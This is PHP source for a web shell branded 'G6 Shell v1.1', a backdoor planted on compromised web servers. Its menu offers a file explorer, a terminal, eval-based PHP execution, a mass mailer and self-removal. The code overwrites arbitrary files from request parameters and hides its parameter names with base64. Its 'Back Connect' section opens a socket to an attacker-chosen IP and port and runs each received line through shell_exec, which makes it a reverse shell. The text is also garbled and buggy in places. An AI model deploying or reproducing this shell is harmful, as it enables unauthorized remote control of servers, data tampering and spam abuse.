G6 Shell v1.1 - Private .::Made By Mr. P-teo::.";
function get_srv_info(){
echo "
G6 Shell v1.1 - PrivateServer Name: ".$_SERVER["SERVER_NAME"]."
Server IP: ".$_SERVER["SERVER_ADDR"]."
[WHOIS] - [TRACEROUTE]".
"
Shell Location: ".$_SERVER["SCRIPT_FILENAME"]."
Server Software: ".$_SERVER["SERVER_SOFTWARE"]."
[Exploit DB]
";
}
function cmd(){
$disabled = explode(', ', ini_get('disable_functions'));
$diabledLower = array();
foreach($diabled as $function){$diabledLower[] = strtolower($function);}
if(!in_array($diabledLower, "exec")){return "exec"; }elseif(!in_array($diabledLower, "passthru")){return "passthru";}elseif(!in_array($diabledLower, "system")){return "system";}else{return "none";}}
$shellVersion = "1.1";
$upload = $_GET['dXBsb2Fk'];
$downloadfilename = $_GET['ZG93bg'];
$delete = $_GET['delete'];
$file_explorer = $_GET['ZmlsZV9leHBsb3Jlcg'];
$mkdir = $_GET['bWtkaXI'];
$currentDirectoryFileDl = $_GET['downlfile'];
$NavLinks = array(
array(
"name" => "Main",
"url" => "?"
),
array(
"name" => "Server Information",
"url" => "?c3J2aW5mbw="
),
array(
"name" => "File Explorer",
"url" => "?ZmlsZV9leHBsb3Jlcg=".dirname(__FILE__)."/"
),
array(
"name" => "Terminal",
"url" => "?dGVybWlhbmw"
),
array(
"name" => "Hash Identifier",
"url" => "?aGk="
),
array(
"name" => "PHP Exec",
"url" => "?eval"
),
array(
"name" => "Back Connect",
"url" => "?YmNrbmV0="
),
array(
"name" => "Mass Mailer",
"url" => "?kueqymass"
),
array(
"name" => "Shell-101",
"url" => "?a253aXN1ZQ"
),
array(
"name" => "Self Remove",
"url" => "?srmve"
)
);
$CurrentUrl = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$last = count($NavLinks) - 1;
foreach($NavLinks as $NavLink => $NavRow){
$linknames = ($NavLink == 0);
$linkurls = ($NavLink == $last);
echo '
'.$NavRow['name'].' / ';
}
if(strstr($CurrentUrl, "readfile")){
$sourcefile = $_REQUEST['readfile'];
if(is_file($sourcefile)){
get_srv_info();
if(isset($sourcefile))
{
$Finalsource = file_get_contents($sourcefile);
echo "
Editing: ".$sourcefile."
« Back to files";
}
}else{
echo "Data not sent.";
}
if(isset($_POST['save'])){
$new_source = $_POST['sourcecode'];
$source_edit = fopen($sourcefile, 'w');
fwrite($source_edit, $new_source);
fclose($source_edit);
}
}elseif(strstr($CurrentUrl, "aGk")){
get_srv_info();
echo "
G6 hash identifier is able to identify MD5, SHA-1, MySQL5, DES(Unix), SHA-256, SHA-384, SHA-512, MD5(Unix), MD5(APR), MD5(phpBB3), MD5(Wordpress), SHA-256(Unix), SHA-512(Unix) and MD5(Base-64).
";
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult == "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
Back Connect
Back connect will allow you to enter system commands remotely.
';
if(isset($_POST['bind']))
{
echo "
Attempting Connection...
";
$ip = $_POST['ip'];
$port= $_POST['port'];
$sockfd=fsockopen($ip , $port , $errno, $errstr );
if($errno != 0){echo "
$errno : $errstr";}else if (!$sockfd) {$result = "
Unexpected error has occured, connection may have failed.
";} else {fputs ($sockfd ,"\n{################################################################}\n..:: G6 W3b Sh3ll v1.1- Coded By Mr. P-teo ::..\n\n=> Backconnect \n=> Back \n
\n{################################################################}"); $pwd = shell_exec("pwd"); $sysinfo = shell_exec("uname -a"); $time = Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n"); while(!feof($sockfd)){ $cmdPrompt = '[G6]#:> ';fputs ($sockfd , $cmdPrompt );$command= fgets($sockfd, $len);
fputs($sockfd , "\n" . shell_exec($command) . "\n\n"); } fclose($sockfd);}}
echo "
";
}elseif(strstr($CurrentUrl, "bWtmbA")){
get_srv_info();
echo "If no file path is included it will be created within the same directory as the shell.
If no file path is included directory will be created within the same directory as the shell.